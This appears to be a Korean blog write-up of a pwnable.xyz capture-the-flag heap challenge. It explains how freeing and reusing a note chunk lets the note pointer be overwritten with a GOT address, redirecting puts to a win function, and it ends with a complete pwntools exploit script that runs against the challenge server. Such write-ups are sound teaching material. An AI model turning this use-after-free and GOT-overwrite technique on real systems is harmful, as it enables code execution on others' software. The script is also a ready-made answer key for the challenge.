해당 바이너리에는 아래와 같은 보안 기법이 적용되어 있다.

또한 아래 사진처럼 여러개의 사용자 정의 함수들의 존재하는 것을 볼 수 있다.

 

 

 

사용자 정의 함수들 중 아래 make_note() 함수를 보자.

기본적으로 0x28 만큼 공간을 할당하고, 사용자로 부터 크기를 입력받아 공간을 할당한다.

만약 *(addr + 0x20) 에 값이 들어가 있으면 공간을 할당 하지 않는다.

void make_note(){
    if(count <= 0x20){
        printf("size of note: ");
        int tmp = read_int32(); 
        
        long *addr = malloc(0x28); 
        
        if(*(addr + 0x20) == 0)  
            *(addr + 0x20) = malloc(tmp);
            
        printf("title: ");
        read(0, addr, 0x20);               
        
        printf("note: ");
        read(0, *(addr + 0x20), tmp - 1);
        
        *(book + count*8) = addr;
        count++;
    }
}

 

이때의 메모리 구조는 다음과 같다.

0x603260에는 title 값이 입력된다.

0x603280에는 note의 주소가 들어가고 해당 주소에는 note의 값이 들어간다.

gdb-peda$ x/10gx 0x603260
0x603260:       0x0000000a41414141      0x0000000000000000
0x603270:       0x0000000000000000      0x0000000000000000
0x603280:       0x0000000000603290      0x0000000000000021
0x603290:       0x0000000a42424242      0x0000000000000000
0x6032a0:       0x0000000000000000      0x0000000000020d61

 

 

만약 위 공간을 delete_note() 함수를 호출하여 free를 하게 되면 0x603280에 있는 주소가 free 된다.

free된 주소가 재사용 된다면 어떻게 될까? 

void delete_note(){
    long note = get_note();
    
    if(note != 0){
        free(*(note+0x20));     
        count--;
        book[count*8] = 0;
    }
}

 

1. make_note() 호출

note의 크기를 title과 같은 크기인 0x28(40)을 입력.

title값은 아무거나 적고, note 값을 입력할때 0x20 + 0x8(GOT addr) 로 입력.

 

2. delete_note() 호출

addr+0x20 의 주소가 free 되므로 청크의 크기가 0x28 인 공간이 free 됨.

 

3. make_note() 호출

title에 공간을 0x28 만큼 공간을 할당하는데, fastbin에 똑같은 크기의 청크가 free 되어 있어, 이 주소를 재사용함.

make_note() 함수중 아래 코드로 인해 addr+0x20에는 GOT addr 이 들어가 있으므로 공간 할당을 하지 않음.

if(*(addr + 0x20) == 0)  // empty
	*(addr + 0x20) = malloc(tmp);

note 값을 입력 할때 특정 GOT에 win 함수의 주소를 적음.

printf("note: ");
read(0, *(addr + 0x20), tmp - 1);

 

 

 

Payload

from pwn import *

p = remote("svc.pwnable.xyz", "30030")
e = ELF("./challenge")


def make_note(mode):
    p.sendlineafter("> ", "1")
    p.sendlineafter("size of note: ", "40")
    p.sendlineafter("title: ", "A")
    if mode == 0:
        p.sendafter("note: ", "A"*0x20 + p32(e.got["puts"]))
    else:
        p.sendafter("note: ", p64(e.symbols["win"]))

def delete_note():
    p.sendlineafter("> ", "3")
    p.sendlineafter("Note#: ", "0")

make_note(0)
delete_note()
make_note(1)

p.sendlineafter("> ", "5")

p.interactive()

 

 

'CTF > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] notebook write up  (0) 2020.08.07
[pwnable.xyz] nin write up  (0) 2020.08.07
[pwnable.xyz] note v2 write up  (0) 2020.08.05
[pwnable.xyz] - dirty tultle write up  (0) 2020.04.15
[pwnable.xyz] badayum write up  (0) 2020.03.10
[pwnable.xyz] Hero Factory write up  (0) 2020.03.10